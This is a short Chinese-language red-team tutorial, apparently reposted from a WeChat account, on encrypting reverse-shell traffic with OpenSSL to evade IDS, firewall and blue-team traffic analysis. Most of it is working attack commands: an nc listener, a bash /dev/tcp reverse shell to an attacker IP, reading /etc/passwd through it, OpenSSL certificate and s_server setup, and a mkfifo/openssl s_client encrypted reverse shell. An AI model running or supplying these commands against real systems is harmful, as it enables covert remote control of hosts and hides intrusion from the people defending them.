流量加密

使用Openssl加密反弹shell

如果反弹shell都是明文传输，当内网有IDS或者防护软件就会进行流量分析，攻击特征很快被发现。

如果蓝队对攻击流量回溯分析，就可以复现攻击的过程，此时红队攻击就会被暴露出来。

使用wireshark抓包直接看到输入的命令和返回信息，这些危险命令会被防火墙或者IPS检测，所以需要对这些信息进行混淆或加密。

未加密传输

攻击机：192.168.31.217

目标机：192.168.152.130

攻击机执行命令

nc -l 8080

目标机(kali)执行命令

bash -i >& /dev/tcp/192.168.31.217/8080 0>&1

反弹成功

随意输入两个命令，再去wireshark内分析流量

id
cat /etc/passwd

到wireshark内，找到流量包进行分析

可以看到执行的命令被抓取，这些都会被报警，攻击就会暴露，所以就需要采用加密传输

OpenSSL传输加密

OpenSSL是一个开放源代码的软件库包，应用程序可以使用这个包来进行安全通信，避免窃听并确认另一端连接者的身份

攻击机上 OpenSSL 生成证书自签名证书(rsa加密)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

开启监听

openssl s_server -quiet -key key.pem -cert cert.pem -port 8088

目标机上执行命令

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机IP:端口> /tmp/s; rm /tmp/s

反弹成功

随意输入命令，再通过wireshark抓包，成功加密

原文始发于微信公众号（Nurburgring）：OpenSSL流量加密